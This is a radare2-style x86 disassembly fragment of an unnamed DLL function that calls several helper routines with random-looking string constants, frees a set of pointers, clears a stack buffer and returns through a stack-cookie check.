lea ecx, [ebp - 0x6ec]
call fcn.1000d670
mov esi, dword [ebp - 0x268]
lea edx, [ebp - 0x44]
push 0
push edi
mov ecx, esi
call fcn.100087d0
add esp, 8
test eax, eax
je 0x1000d24b
lea ebx, [eax + 8]
jmp 0x1000d320
sub esp, 0x2c
mov ecx, esp
push str.fygwbj
call fcn.1000d630
lea eax, [ebp - 0x704]
push eax
call fcn.100014d0
lea ecx, [ebp - 0x704]
call fcn.1000d670
mov ecx, dword [ebp - 0x258]
lea edx, [ebp - 0x44]
call fcn.10007360
sub esp, 0x18
mov dword [0x1006fabc], eax
mov ecx, esp
mov dword [ebp - 0x264], esp
push str.ypjkdjayi
call fcn.1000d630
sub esp, 0x18
mov dword [ebp - 4], 0x3f
mov ecx, esp
push str.crejlzuagujwtujuxxogyqntmmcdeksvxxafkpxeqxvbrdpbfglhlsmyjwugmdcmevpdoervezanhbtrlhozh
call fcn.1000d630
push ecx
mov dword [ebp - 4], 0xffffffff
call fcn.100013c0
mov eax, dword [ebp - 0x278]
test eax, eax
jle 0x1000d2dd
mov ecx, dword [ebp - 0x27c]
lea edx, [ebp - 0x44]
push eax
call fcn.1000aa00
add esp, 4
mov dword [0x1006fac0], eax
sub esp, 0x14
lea eax, [ebp - 0x71c]
push eax
call fcn.100011e0
lea ecx, [ebp - 0x71c]
call fcn.1000d670
call fcn.1000bba0
sub esp, 0x18
mov ecx, esp
push str.wrelqzwgqhqkm
call fcn.1000d630
push ecx
call fcn.100010d0
xor ebx, ebx
jmp 0x1000d320
mov ebx, 7
mov esi, dword [ebp - 0x268]
test esi, esi
je 0x1000d32d
push esi
call fcn.100270aa
add esp, 4
mov eax, dword [ebp - 0x258]
test eax, eax
je 0x1000d340
push eax
call fcn.100270aa
add esp, 4
mov eax, dword [ebp - 0x270]
test eax, eax
je 0x1000d353
push eax
call fcn.100270aa
add esp, 4
mov eax, dword [ebp - 0x260]
test eax, eax
je 0x1000d366
push eax
call fcn.100270aa
add esp, 4
test edi, edi
je 0x1000d373
push edi
call fcn.100270aa
add esp, 4
mov edx, 0x32
lea ecx, [ebp - 0x44]
nop dword [eax + eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub edx, 1
jne 0x1000d380
mov eax, ebx
jmp 0x1000d394
mov eax, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100212e2
mov esp, ebp
pop ebp
ret